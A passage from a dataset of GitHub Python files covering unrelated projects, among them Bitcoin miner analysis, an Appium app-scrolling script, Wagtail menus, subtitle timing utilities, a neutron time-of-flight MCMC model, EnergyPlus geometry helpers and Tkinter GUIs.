(str(self.case), self.start, self.end), 'w') as file:\n outfile = csv.writer(file)\n for row in self.miners:\n outfile.writerow(row)\n\n with open('Miner-vector/miner-vector-after-case-%s-%d-%d.npy' % (str(self.case), self.start, self.end), 'w') as file:\n np.save(file, self.minervector)\n\n if not self.case == 5: # not needed for case 5 anymore, because it is empty\n with open('Dictionaries/genesis-tx-after-case-%s-%d-%d.pickle' % (str(self.case), self.start, self.end), 'w') as file:\n pickle.dump(self.genesis_txs, file)\n\n \n\n# LOADING INITIAL FILES\ngenesis_txs = pickle.load(open('Dictionaries/genesis-tx-1-500000.pickle'))\nminingpools = pickle.load(open('Dictionaries/miningpools-1-500000.pickle'))\nminimise_user_heur_1 = np.load(open('UH-bitcoin-heur_1/minimise_user-1_500000.npy'))\nminimise_user_heur_2s = np.load(open('UH-bitcoin-heur_2s/minimise_user-1_500000.npy'))\ncfg = pickle.load(open('UH-bitcoin-heur_2s/config-1_500000.pickle')) # LOAD FILE FROM USER HEUR_2s TO GET USERS\nno_users = cfg[\"minimised_n_users\"] #HAS TO BE THE SAME SIZE AS THE WEALTH VECTORS)\nminervector = np.zeros(no_users)\n\n\n# UPDATING FILES AND EXECUTING CASE 1\n#proc1 = MinerIdentifier(1, 500000, 1, genesis_txs, miningpools, minimise_user_heur_1, minimise_user_heur_2s, minervector)\n#proc1.process_all()\n\n\n# UPDATING FILES AND EXECUTING CASE 2\n#minervector = np.load('Miner-vector/miner-vector-after-case-1-1-500000.npy')\n#genesis_txs = pickle.load(open(\"Dictionaries/genesis-tx-after-case-1-1-500000.pickle\"))\n#proc2 = MinerIdentifier(1, 500000, 2, genesis_txs, miningpools, minimise_user_heur_1, minimise_user_heur_2s, minervector)\n#proc2.process_all()\n\n\n# UPDATING FILES AND EXECUTING CASE 3\n#minervector = np.load('Miner-vector/miner-vector-after-case-2-1-500000.npy')\n#genesis_txs = pickle.load(open(\"Dictionaries/genesis-tx-after-case-2-1-500000.pickle\"))\n#redemption_txs = pickle.load(open(\"Dictionaries/redemption-tx-1-500000.pickle\"))\n#proc3 = MinerIdentifier(1, 500000, 3, genesis_txs, miningpools, minimise_user_heur_1, minimise_user_heur_2s, minervector, redemption_txs=redemption_txs)\n#proc3.process_all()\n\n\n# UPDATING FILES AND EXECUTING CASE 4\nminervector = np.load(open('Miner-vector/miner-vector-after-case-3-1-500000.npy'))\ngenesis_txs = pickle.load(open(\"Dictionaries/genesis-tx-after-case-3-1-500000.pickle\"))\nproc4 = MinerIdentifier(1, 500000, 4, genesis_txs, miningpools, minimise_user_heur_1, minimise_user_heur_2s, minervector)\nproc4.process_all()\n\n\n# UPDATING FILES AND EXECUTING CASE 5\nminervector = np.load(open('Miner-vector/miner-vector-after-case-4-1-500000.npy'))\ngenesis_txs = pickle.load(open(\"Dictionaries/genesis-tx-after-case-4-1-500000.pickle\"))\nproc5 = MinerIdentifier(1, 500000, 5, genesis_txs, miningpools, minimise_user_heur_1, minimise_user_heur_2s, minervector)\nproc5.process_all()\n","repo_name":"bugii/ba-thesis","sub_path":"code/miner-identification.py","file_name":"miner-identification.py","file_ext":"py","file_size_in_byte":13950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34701950730","text":"from appium import webdriver\nimport time\nimport random\n\n\ndef slide_app(keywords):\n # 初始化配置,设置Desired Capabilities参数\n desired_caps = {\n 'platformName': 'Android',\n 'platformVersion': '5.1.1',\n 'deviceName': 'OPPO R11',\n 'appPackage': 'com.xingin.xhs',\n 'appActivity': '.index.IndexNewActivity',\n 'noReset': 'True',\n 'unicodeKeyboard': 'True'\n }\n\n # 指定Appium Server\n server = 'http://localhost:4723/wd/hub'\n\n # 新建一个driver\n driver = webdriver.Remote(server, desired_caps)\n # # 获取模拟器/手机的分辨率(px)\n\n # print(width, height)\n\n search = driver.find_element_by_id('com.xingin.xhs:id/a8f').click()\n time.sleep(10)\n text = driver.find_element_by_id('com.xingin.xhs:id/b5q')\n time.sleep(10)\n text.send_keys(keywords)\n button = driver.find_element_by_id('com.xingin.xhs:id/b5t').click()\n time.sleep(10)\n latest_post = driver.find_element_by_id('com.xingin.xhs:id/b5h').click()\n time.sleep(10)\n\n width = driver.get_window_size()['width']\n height = driver.get_window_size()['height']\n slide = 0\n\n while slide < 100:\n print('Keywords: {}, Slide: {}/100'.format(keywords,slide))\n posts = driver.find_elements_by_id('com.xingin.xhs:id/b61')\n driver.swipe(width * 0.5, height * 0.75, width * 0.5, height * 0.25)\n slide = slide + 1\n time.sleep(random.uniform(2, 5))\n\n driver.save_screenshot('endpos.png')\n\n\ndef run():\n keywords_list = ['哈士奇']\n for keywords in keywords_list:\n print('Start Spider...')\n print('Keywords: {}'.format(keywords))\n slide_app(keywords)\n time.sleep(60)\n\n\nif __name__ == '__main__':\n run()\n","repo_name":"Threekiii/Awesome-Scrapy","sub_path":"Xiaohongshu/xhsSpider.py","file_name":"xhsSpider.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"48"} +{"seq_id":"71270310225","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 25 11:41:38 2021\n\n@author: charliesowerby\n\n\nGoing to use pandas to load in the spells all in memory in a pandas dataframe\n\"\"\"\n\n#%% Imports \n\nimport pandas as pd \nimport os \n\n\n\n#%% Notes\n\n\"\"\" \n\nFor Spell Memory:\n -Have a Memory class to hold a pandas DataFrame that contains a total list of all the spells \n\nFor Profile Memory: \n -Create a dictionary where keys are profile names and values are lists of spells that each player has in their spellbook \n \n -Could consider a situation in which prepared/spellbook spells are stored differently \n \n \nFrontend: \n - Potentially the SAME GUI? \n \n - New GUI with raw tkinter? \n \n - Web Tool? (This is such a pain)\n\n\"\"\"\n\n\n\n\n\n\n#%% Spells \n\nclass SpellList:\n def __init__(self):\n \n self.spell_filepath = '/Users/charliesowerby/Desktop/Projects/dnd_ui/spells.csv'\n \n # Load filepath \n try:\n self.df = pd.read_csv(self.spell_filepath)\n \n except:\n print(\"Error Occured when loading spells\")\n \n \n \n \n \n \n \n \n \n \n \n \n \n def query(self, query_dict):\n \"\"\" Query the datafarme according to conditions in query_dict\n \n Parameters \n ----------\n query_dict : dict \n dictionary formatted to specify parameters, i.e. {'classes':['Wizard', 'Cleric'], level:3}\n \n Returns\n -------\n DataFrame \n Spells in the df that match the query parameters \n \n \"\"\" \n \n # TODO: write a translation from dictionary to list of query conditions \n \n \n \n df = self.spells\n \n \n query_list = [df[category] == query_dict[category] for category in query_dict.keys()]\n \n df = df[query_list]\n \n \n return df \n \n#%% Profiles \n\nclass ProfileList:\n def __init__(self):\n # Want to initialize a list of profiles by checking for saved profiles in the correct location, if none, then \n \n \n # Profile List \n self.filepath = '/Users/charliesowerby/Desktop/Projects/dnd_ui/profiles.csv'\n \n \n pass \n def save_profiles(self):\n self.profiles.to_csv(self.profile_filepath)\n\n \n \n#%% Save Profiles \n\n\n\n\n#%% Main \n\nif __name__ == \"__main__\":\n mem = Memory()\n \n ","repo_name":"csowerby/DND_UI","sub_path":"json_database.py","file_name":"json_database.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32147206625","text":"from django.db import models\n\nfrom django_extensions.db.fields import AutoSlugField\nfrom modelcluster.fields import ParentalKey\nfrom modelcluster.models import ClusterableModel\nfrom wagtail.admin.edit_handlers import (\n MultiFieldPanel,\n InlinePanel,\n FieldPanel,\n PageChooserPanel\n)\nfrom wagtail.core.models import Orderable\nfrom wagtail.snippets.models import register_snippet\n\nfrom django.urls import resolve, translate_url\nfrom modeltranslation.decorators import register\nfrom django.utils import translation\n\n\nclass TranslatedField:\n def __init__(self, en_field, ro_field):\n self.en_field = en_field\n self.ro_field = ro_field\n\n def __get__(self, instance, owner):\n if translation.get_language() == 'en':\n return getattr(instance, self.ro_field)\n else:\n return getattr(instance, self.en_field)\n\n\nclass MenuItem(Orderable):\n link_title = models.CharField(\n blank=True,\n null=True,\n max_length=50\n )\n link_url = models.CharField(\n max_length=500,\n blank=True\n )\n link_page = models.ForeignKey(\n \"wagtailcore.Page\",\n null=True,\n blank=True,\n related_name=\"+\",\n on_delete=models.CASCADE,\n )\n open_in_new_tab = models.BooleanField(default=False, blank=True)\n\n page = ParentalKey(\"Menu\", related_name=\"menu_items\")\n\n panels = [\n FieldPanel(\"link_title\"),\n FieldPanel(\"link_url\"),\n PageChooserPanel(\"link_page\"),\n FieldPanel(\"open_in_new_tab\"),\n ]\n\n @property\n def link(self):\n if self.link_page:\n return self.link_page.url\n elif self.link_url:\n return self.link_url\n return '#'\n\n @property\n def title(self):\n if self.link_page and not self.link_title:\n return self.link_page.title\n elif self.link_title:\n return self.link_title\n return 'Missing titles'\n\n\n@register_snippet\nclass Menu(ClusterableModel):\n \"\"\"The main menu clusterable\"\"\"\n\n title = models.CharField(max_length=100)\n slug = AutoSlugField(populate_from='title', editable=True)\n # slug = models.SlugField()\n\n panels = [\n MultiFieldPanel([\n FieldPanel(\"title\"),\n FieldPanel(\"slug\"),\n ], heading=\"Menu\"),\n InlinePanel(\"menu_items\", label=\"Menu Item\")\n ]\n\n def __str__(self):\n return self.title\n\n\ndef change_language(context, lang=None):\n path = context['request'].path\n return translate_url(path, lang)\n","repo_name":"PetruDragus/airtek-website","sub_path":"menus/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2531,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"31773928709","text":"import re\n\n\ndef times_to_ms(time:str) -> int:\n ms = 0\n (h, m, s) = re.match(r'(.*):(.*):(.*)',time).groups()\n ms += float(s) * 1000\n ms += int(m) * 60000\n ms += int(h) * 3600000\n return int(ms)\n\ndef ms_to_frames(ms , fps) -> int:\n ms = int(ms)\n return int((ms / 1000) * fps)\n\n# 很神必的问题\n# FFmpeg 要求毫秒小数点后两位 \n# h:mm:ss.ms 的格式,否则 FFmpeg 字幕压缩异常\n# 但是对帧轴只有小数点后三位才能完全对齐\n# 如果只用两位打码器最后 time->frame 后对不上\n\ndef ms_to_times_3(ms) -> str:\n ms = int(ms)\n h, ms = divmod(ms, 3600000)\n m, ms = divmod(ms, 60000)\n s, ms = divmod(ms, 1000)\n sgn = \"-\" if ms < 0 else \"\"\n return f\"{sgn}{h:01d}:{m:02d}:{s:02d}.{ms:03d}\"\n\ndef insertSub_3(path, fps, start, end, text=\"\", style=\"Default\"):\n with open(path, 'a', encoding='utf-8') as fp:\n # frame->ms->time e.g. 216->3603->0:00:03.603\n start = ms_to_times_3(start*1000/fps)\n end = ms_to_times_3(end*1000/fps)\n fp.write(f\"Dialogue: 0,{start},{end},{style},,0,0,0,,{text}\\n\")\n\ndef ms_to_times_2(ms) -> str:\n ms = int(ms)\n h, ms = divmod(ms, 3600000)\n m, ms = divmod(ms, 60000)\n s, ms = divmod(ms, 1000)\n s = s + ms / 1000\n s = int(s*10**2)/(10**2)\n sgn = \"-\" if ms < 0 else \"\"\n return f\"{sgn}{h:01d}:{m:02d}:{s:05.2f}\" \n\n\ndef insertSub_2(path, fps, start, end, text=\"\", style=\"Default\"):\n with open(path, 'a', encoding='utf-8') as fp:\n # frame->ms->time e.g. 216->3603->0:00:03.603\n start = ms_to_times_2(start*1000/fps)\n end = ms_to_times_2(end*1000/fps)\n fp.write(f\"Dialogue: 0,{start},{end},{style},,0,0,0,,{text}\\n\")\n\ndef readSub(path):\n with open(path, 'r', encoding='utf-8') as fp:\n lines = fp.readlines()\n ans = []\n for line in lines:\n if line.startswith(\"Dialogue\"):\n sub = re.match( r'Dialogue: 0,(.*),(.*),(.*),,0,0,0,,(.*)\\n', line, re.M|re.I).groups()\n ans.append({'start':times_to_ms(sub[0]),'end':times_to_ms(sub[1]),'style':sub[2],'text':sub[3]}) \n return ans\n\ndef saveSub(save_path, orig_path, subs):\n with open(save_path, 'w', encoding='utf-8') as wf:\n with open(orig_path,'r', encoding='utf-8') as rf:\n lines = rf.readlines()\n for line in lines:\n if not line.startswith(\"Dialogue\"):\n wf.write(line)\n for sub in subs:\n line = f'Dialogue: 0,{ms_to_times_2(sub[\"start\"])},{ms_to_times_2(sub[\"end\"])},{sub[\"style\"]},,0,0,0,, {sub[\"text\"]}\\n'\n wf.write(line)\n\ndef modifyLastEnd(path, fps, new_time):\n import re\n lines = []\n with open(path, 'r', encoding='utf-8') as fp:\n lines = fp.readlines()\n new_time = ms_to_times_2(new_time*1000/fps)\n lines[-1] = re.sub(r\",(\\d+:\\d+:\\d+.\\d+),Default\", f\",{ new_time },Default\", lines[-1])\n with open(path, 'w', encoding='utf-8') as fp:\n fp.writelines(lines)","repo_name":"U1805/Blue_Archive_Timerstamper","sub_path":"modules/subUtils.py","file_name":"subUtils.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"48"} +{"seq_id":"24017391861","text":"import sys\nimport tkinter as tk\nimport pandas as pd\nimport csv\nimport time\nfrom pandas import DataFrame\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg\nfrom map import display\n\nroot = tk.Tk()\n\ndatetime = []\naltitude = []\nlat = []\nlon = []\nfig = plt.figure(figsize=(5,5))\nax = fig.add_subplot(111)\ngraph = FigureCanvasTkAgg(fig,root)\nax.plot(datetime,altitude,'b')\nplt.title('Date Time vs Altitude')\nplt.xlabel('Date Time')\nplt.ylabel('Altitude')\nplt.legend(['Altitude'])\nplt.xticks(rotation=45, ha='right')\n\nxText = tk.Label(root, text=1, font=('', 20))\nxText.pack()\nxText['text'] = \"X-Acceleration\"\n\nxLabel = tk.Label(root, text=1, font=('', 20))\nxLabel.pack()\n\nyText = tk.Label(root, text=1, font=('', 20))\nyText.pack()\nyText['text'] = \"Y-Acceleration\"\n\nyLabel = tk.Label(root, text=1, font=('', 20))\nyLabel.pack()\n\nzText = tk.Label(root, text=1, font=('', 20))\nzText.pack()\nzText['text'] = \"Z-Acceleration\"\n\nzLabel = tk.Label(root, text=1, font=('', 20))\nzLabel.pack()\n\n\n# Gets X-axis acceleration\ndef x(num):\n with open('fullscale_1_gui_log_2-22-20.csv') as csv_file:\n csv_reader = csv.reader(csv_file)\n rows = list(csv_reader)\n data = rows[num]\n print(\"X-Acceleration: \", data[5])\n return data[5]\n\n\n# Gets Y-axis acceleration\ndef y(num):\n with open('fullscale_1_gui_log_2-22-20.csv') as csv_file:\n csv_reader = csv.reader(csv_file)\n rows = list(csv_reader)\n data = rows[num]\n print(\"Y-Acceleration: \", data[6])\n return data[6]\n\n\n# Gets Z-axis acceleration\ndef z(num):\n with open('fullscale_1_gui_log_2-22-20.csv') as csv_file:\n csv_reader = csv.reader(csv_file)\n rows = list(csv_reader)\n data = rows[num]\n print(\"Z-Acceleration: \", data[7])\n return data[7]\n\n\ndef printSomething(count = 0):\n if count is 0:\n xLabel['text'] = 0\n yLabel['text'] = 0\n zLabel['text'] = 0\n test(0)\n else:\n xLabel['text'] = x(count)\n yLabel['text'] = y(count)\n zLabel['text'] = z(count)\n test(count)\n print(\"-------------------------------------------------\")\n root.after(500, printSomething, count+1)\n\n\ndef getInfo(num):\n with open('fullscale_1_gui_log_2-22-20.csv') as csv_file:\n csv_reader = csv.reader(csv_file)\n rows = list(csv_reader)\n data = rows[num]\n return data\n\n\ndef test(num):\n global datetime\n global altitude\n global lat\n global lon\n\n info = getInfo(num)\n if(num is 0):\n ax.plot(datetime,altitude,'b')\n else:\n datetime.append(info[2])\n altitude.append(info[1])\n lat.append(info[3])\n lon.append(info[4])\n ax.plot(datetime,altitude,'b')\n\n fig.canvas.draw()\n fig.canvas.flush_events()\n\n graph.get_tk_widget().pack()\n\n\nprintSomething()\nroot.mainloop()\ndisplay(lat,lon)","repo_name":"ECEUSLI-at-Oregon-State/Avionics_Firmware","sub_path":"gui/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"14385190420","text":"class Solution(object):\n def reversePrefix(self, word, ch):\n idx = -1\n for i in range(len(word)):\n if word[i] == ch:\n idx = i\n break\n \n if idx == -1:\n return word\n else:\n return word[:idx+1][::-1] + word[idx+1:]","repo_name":"qwas15788hj/LeetCode","sub_path":"2000-reverse-prefix-of-word/2000-reverse-prefix-of-word.py","file_name":"2000-reverse-prefix-of-word.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1716570944","text":"#\n#\n# simpleTOFmodel.py\n# created winter 2016 g.c.rich\n#\n# this is a scaled-back TOF model to test MCMC fitting\n# doesn't include all the realistic features needed to do actual analysis\n#\n# TODO: add effective posterior predictive check (PPC)\n# that is, sample from the posteriors and produce some fake data\n# compare this fake data with observed data\n\nimport numpy as np\nfrom numpy import inf\nfrom scipy.integrate import quad\nimport scipy.optimize as optimize\n#import matplotlib.pyplot as plot\nimport emcee\nfrom constants.constants import (masses, qValues, distances, physics)\n\n\n\n##############\n# vars for binning of TOF \ntof_nBins = 25\ntof_minRange = 175.0\ntof_maxRange = 200.0\ntof_range = (tof_minRange,tof_maxRange)\n\n\ndef getDDneutronEnergy(deuteronEnergy, labAngle = 0):\n \"\"\"Get the energy of neutrons produced by DDN reaction\n Function accepts the deuteron energy (in keV) and the angle (in lab\\\n frame of reference) at which the neutron is emitted.\n Returns neutron energy in keV\n \"\"\" \n neutronAngle_radians = labAngle * np.pi / 180\n rVal = np.sqrt(masses.deuteron * masses.neutron*deuteronEnergy) / \\\n (masses.neutron + masses.he3) * \\\n np.cos(neutronAngle_radians)\n sVal = (deuteronEnergy *( masses.he3 - masses.deuteron) +\n qValues.ddn * masses.he3) / (masses.neutron + masses.he3)\n sqrtNeutronEnergy = rVal + np.sqrt(np.power(rVal,2) + sVal)\n return np.power(sqrtNeutronEnergy, 2)\n \ndef getTOF(mass, energy, distance):\n \"\"\"Compute time of flight, in nanoseconds, given\\\n mass of particle (in keV/c^2), the particle's energy (in keV),\\\n and the distance traveled (in cm).\n Though simple enough to write inline, this will be used often.\n \"\"\"\n velocity = physics.speedOfLight * np.sqrt(2 * energy / mass)\n tof = distance / velocity\n return tof\n \n \ndef generateModelData(params, nSamples):\n \"\"\"Generate some fake data from our mode with num samples = nSamples\n params is an array of the parameters, [e0, e1, sigma]\n Returns a tuple of len(nSamples), [x, ed, en, tof]\n \"\"\"\n initialEnergy, eLoss, sigma = params\n data_x=np.random.uniform(low=0.0, high=distances.tunlSSA_CsI.cellLength, \n size=nSamples)\n data_ed= np.random.normal(loc=initialEnergy + eLoss*data_x, \n scale=sigma)\n data_en = getDDneutronEnergy(data_ed)\n \n neutronDistance = distances.tunlSSA_CsI.cellToZero + (distances.tunlSSA_CsI.cellLength - data_x)\n neutronTOF = getTOF(masses.neutron, data_en, neutronDistance)\n effectiveDenergy = (initialEnergy + data_ed)/2\n deuteronTOF = getTOF( masses.deuteron, effectiveDenergy, data_x )\n data_tof = neutronTOF + deuteronTOF\n \n data = np.column_stack((data_x,data_ed,data_en,data_tof))\n return data\n \ndef lnlike(params, observables, nDraws=1000000):\n \"\"\"Evaluate the log likelihood given a set of params and observables\n Observables is a vector; a histogrammed time distribution\n Params is a list of [initial D energy, E_D loss, sigma]\n nDraws is the number of points drawn from (energy,location) distribution\\\n which are used to produce the PDF evaluations at different TOFs\n \"\"\"\n #print('checking type ({}) and length ({}) of params in lnlikefxn'.format(type(params),len(params)))\n evalData=generateModelData(params, nDraws)\n evalHist, evalBinEdges = np.histogram(evalData[:,3], tof_nBins, tof_range,\n density=True)\n logEvalHist = np.log(evalHist)\n #print(logEvalHist)\n # find what TOFs have zero observed data\n # we'll use this to handle cases where we might wind up with -inf*0\n # likelihood is fine if PDF is 0 somewhere where no data is found\n # without checks though, ln(PDF=0)=-inf, -inf*0 = nan\n # however, if PDF is 0 (lnPDF=-inf) where there IS data, lnL should be -inf\n zeroObservedIndices = np.where(observables == 0)[0]\n for idx in zeroObservedIndices:\n if logEvalHist[idx] == -inf:\n logEvalHist[zeroObservedIndices] = 0\n \n loglike = np.dot(logEvalHist,observables)\n return loglike\n \n \n\ndef lnprior(theta):\n e_0, e_1, sigma = theta\n if 800 < e_0 < 1200 and -200 negative log likelihood loss\n loss = criterion(outputs, labels)\n\n # Getting gradients w.r.t. parameters\n loss.backward()\n\n # Updating parameters\n optimizer.step()\n\n\n def predict(self, x):\n tensor_x = torch.from_numpy(x)\n outputs = self.model(tensor_x)\n _, predicted = torch.max(outputs.data, 1)\n return predicted\n\ntrials = 5\n# dpts = np.arange(100, 5000, 100)\ndpts = [5000]\nbase_path = \"/Users/omaroubari/Repositories/bitbucket/hummus/build/Release/results/\"\n# base_name = \"100_nmnist_sub4_K7_S5_dp5000_p1_epo0_lr0.010000_dv1.400000_thr0.800000_trial\"\nbase_name = \"1000n_nmnist_sub40_K7_S5_dp5000_p1_epo0_lr0.010000_dv1.400000_thr0.800000\"\naccuracies = []\ndatapoints = []\nif trials == 1:\n for k in dpts:\n trd = np.load(base_path+base_name+\"_tr_set.npy\").astype(np.float32)\n trl = np.load(base_path+base_name+\"_tr_label.npy\").astype(np.int64)\n ted = np.load(base_path+base_name+\"_te_set.npy\").astype(np.float32)\n tel = np.load(base_path+base_name+\"_te_label.npy\").astype(np.int64)\n\n lreg = LogReg(n_in=trd.shape[1],n_out=np.unique(trl).shape[0])\n lreg.fit(trd[-k:,:],trl[-k:])\n acc = ((lreg.predict(ted).numpy()==tel).sum()/tel.shape[0])*100\n accuracies.append(acc)\n datapoints.append(k)\n print(acc,\"for %s datapoints\" % k)\nelif trials > 1:\n for k in dpts:\n acc = []\n for i in range(trials):\n trd = np.load(base_path+base_name+str(i)+\"_tr_set.npy\").astype(np.float32)\n trl = np.load(base_path+base_name+str(i)+\"_tr_label.npy\").astype(np.int64)\n ted = np.load(base_path+base_name+str(i)+\"_te_set.npy\").astype(np.float32)\n tel = np.load(base_path+base_name+str(i)+\"_te_label.npy\").astype(np.int64)\n\n lreg = LogReg(n_in=trd.shape[1],n_out=np.unique(trl).shape[0])\n lreg.fit(trd[-k:,:],trl[-k:])\n acc.append(((lreg.predict(ted).numpy()==tel).sum()/tel.shape[0])*100)\n\n acc = np.array(acc)\n accuracies.append(acc)\n datapoints.append(k)\n print(np.mean(acc),'\\u00B1',np.std(acc),\"for %s datapoints\" % k)\nelse:\n print(\"wrong number of trials\")\n\naccuracies = np.array(accuracies)\ndatapoints = np.array(datapoints)\n\nnp.save(\"accuracies.npy\", accuracies)\nnp.save(\"datapoints.npy\", datapoints)\n","repo_name":"OOub/hummus","sub_path":"utilities/python/logistic_regression2.py","file_name":"logistic_regression2.py","file_ext":"py","file_size_in_byte":4019,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"13839991985","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nfrom geomeppy.intersect_match import getidfsurfaces\nfrom geomeppy.polygons import Polygon3D\n\nfrom geomeppy.vectors import Vector3D\n\n\ndef set_default_constructions(idf):\n constructions = ['Project Wall', 'Project Partition','Project Floor',\n 'Project Flat Roof', 'Project Ceiling',\n 'Project External Window', 'Project Door']\n for construction in constructions:\n idf.newidfobject('CONSTRUCTION', construction,\n Outside_Layer='DefaultMaterial')\n idf.newidfobject('MATERIAL', 'DefaultMaterial',\n Roughness='Rough',\n Thickness=0.1,\n Conductivity=0.1,\n Density=1000,\n Specific_Heat=1000,\n )\n\n for surface in idf.getsurfaces():\n set_default_construction(surface)\n for subsurface in idf.getsubsurfaces():\n set_default_construction(subsurface)\n\n\ndef set_default_construction(surface):\n if surface.Surface_Type.lower() == 'wall':\n if surface.Outside_Boundary_Condition.lower() == 'outdoors':\n surface.Construction_Name = 'Project Wall'\n elif surface.Outside_Boundary_Condition.lower() == 'ground':\n surface.Construction_Name = 'Project Wall'\n else:\n surface.Construction_Name = 'Project Partition'\n if surface.Surface_Type.lower() == 'floor':\n if surface.Outside_Boundary_Condition.lower() == 'ground':\n surface.Construction_Name = 'Project Floor'\n else:\n surface.Construction_Name = 'Project Floor'\n if surface.Surface_Type.lower() == 'roof':\n surface.Construction_Name = 'Project Flat Roof'\n if surface.Surface_Type.lower() == 'ceiling':\n surface.Construction_Name = 'Project Ceiling'\n if surface.Surface_Type == 'window':\n surface.Construction_Name = 'Project External Window'\n if surface.Surface_Type == 'door':\n surface.Construction_Name = 'Project Door' \n\n\ndef translate_to_origin(idf):\n \"\"\"\n Move an IDF close to the origin so that it can be viewed in SketchUp.\n \n Parameters\n ----------\n idf : IDF object\n \n \"\"\"\n surfaces = getidfsurfaces(idf)\n windows = idf.idfobjects['FENESTRATIONSURFACE:DETAILED']\n \n min_x = min(min(Polygon3D(s.coords).xs) for s in surfaces)\n min_y = min(min(Polygon3D(s.coords).ys) for s in surfaces)\n\n translate(surfaces, (-min_x, -min_y))\n translate(windows, (-min_x, -min_y))\n \n \ndef translate(surfaces, vector):\n \"\"\"Translate all surfaces by a vector.\n \n Parameters\n ----------\n surfaces : list\n A list of EpBunch objects.\n vector : Vector2D, Vector3D, (x,y) or (x,y,z) list-like\n Representation of a vector to translate by.\n \n \"\"\"\n vector = Vector3D(*vector)\n for s in surfaces:\n new_coords = translate_coords(s.coords, vector)\n s.setcoords(new_coords)\n\n\ndef translate_coords(coords, vector):\n \"\"\"Translate a set of coords by a direction vector.\n \n Parameters\n ----------\n coords : list\n A list of points.\n vector : Vector2D, Vector3D, (x,y) or (x,y,z) list-like\n Representation of a vector to translate by.\n \n Returns\n -------\n list of Vector3D objects\n \n \"\"\"\n return [Vector3D(*v) + vector for v in coords]\n\n\ndef set_wwr(idf, wwr=0.2):\n \"\"\"Set the window to wall ratio on all external walls.\n \n Parameters\n ----------\n idf : IDF object\n The IDF to edit.\n wwr : float\n The window to wall ratio.\n \n \"\"\"\n try:\n ggr = idf.idfobjects['GLOBALGEOMETRYRULES'][0]\n except IndexError:\n ggr = []\n walls = [s for s in idf.idfobjects['BUILDINGSURFACE:DETAILED']\n if s.Surface_Type.lower() == 'wall'\n and s.Outside_Boundary_Condition.lower() == 'outdoors']\n windows = idf.idfobjects['FENESTRATIONSURFACE:DETAILED']\n for window in windows:\n idf.removeidfobject(window)\n for wall in walls:\n coords = window_vertices_given_wall(wall, wwr)\n window = idf.newidfobject(\n 'FENESTRATIONSURFACE:DETAILED',\n Name = \"%s window\" % wall.Name,\n Surface_Type = 'Window',\n Building_Surface_Name = wall.Name,\n View_Factor_to_Ground = 'autocalculate', # from the surface angle\n )\n window.setcoords(coords, ggr)\n \n \ndef window_vertices_given_wall(wall, wwr):\n \"\"\"Calculate window vertices given wall vertices and glazing ratio.\n \n For each axis:\n 1) Translate the axis points so that they are centred around zero\n 2) Either:\n a) Multiply the z dimension by the glazing ratio to shrink it vertically\n b) Multiply the x or y dimension by 0.995 to keep inside the surface\n 3) Translate the axis points back to their original positions\n \n Parameters\n ----------\n wall : EpBunch\n The wall to add a window on. We expect each wall to have four vertices.\n wwr : float\n Window to wall ratio.\n \n Returns\n -------\n list \n Window vertices bounding a vertical strip midway up the surface.\n \n \"\"\"\n vertices = wall.coords\n average_x = sum([x for x, _y, _z in vertices]) / len(vertices)\n average_y = sum([y for _x, y, _z in vertices]) / len(vertices)\n average_z = sum([z for _x, _y, z in vertices]) / len(vertices)\n # move windows in 0.5% from the edges so they can be drawn in SketchUp\n window_points = [[\n ((x - average_x) * 0.999) + average_x,\n ((y - average_y) * 0.999) + average_y,\n ((z - average_z) * wwr) + average_z\n ]\n for x, y, z in vertices]\n\n return Polygon3D(window_points)\n","repo_name":"refaqtor/geomeppy","sub_path":"geomeppy/recipes.py","file_name":"recipes.py","file_ext":"py","file_size_in_byte":5952,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"38908952023","text":"from tkinter import *\nfrom tkinter import ttk, filedialog, messagebox, Canvas, Frame, Scrollbar, Button, Label\nimport subprocess\nimport json\nimport datetime\nimport glob\nimport os\nfrom gui.test_model_on_image import main_image\nfrom gui.test_model_on_video import main_video\nimport sys\nfrom pathlib import Path\n\ndef resource_path(relative_path):\n \"\"\" Get absolute path to resource, works for dev and for PyInstaller \"\"\"\n try:\n # PyInstaller creates a temp folder and stores path in _MEIPASS\n base_path = sys._MEIPASS\n except Exception:\n base_path = os.path.abspath(\".\")\n\n return os.path.join(base_path, relative_path)\n\ndef check_if_app_or_python():\n return os.path.join(Path.home(), \"Smart_attendance_system\")\n\nroot = None\nlist_of_model_names = []\ntrain_and_val_width = 600\njson_file_location = f\"{str(check_if_app_or_python())}\\\\misc\\\\structure.json\"\nmodel_directory = f\"{str(check_if_app_or_python())}\\\\saved-models\\\\\"\n\ndef open_guide():\n guide = resource_path(f\"{str(check_if_app_or_python())}\\\\misc\\\\guide.pdf\")\n subprocess.Popen([guide], shell=True)\n\ndef on_closing(xyz):\n xyz.grab_release()\n xyz.destroy()\n sys.exit()\n\ndef set_directory(train_or_test, string_to_edit, top):\n if train_or_test == \"train\" : \n top.train_dir = filedialog.askdirectory(initialdir = resource_path(\"E:\\Sheldon\\BE_Project\\Google_Colab\\custom_dataset\"), title = \"Choose directory for training data\")\n string_to_edit.config(text = top.train_dir)\n elif train_or_test == \"val\":\n top.val_dir = filedialog.askdirectory(initialdir = resource_path(\"E:\\Sheldon\\BE_Project\\Google_Colab\\custom_dataset\"), title = 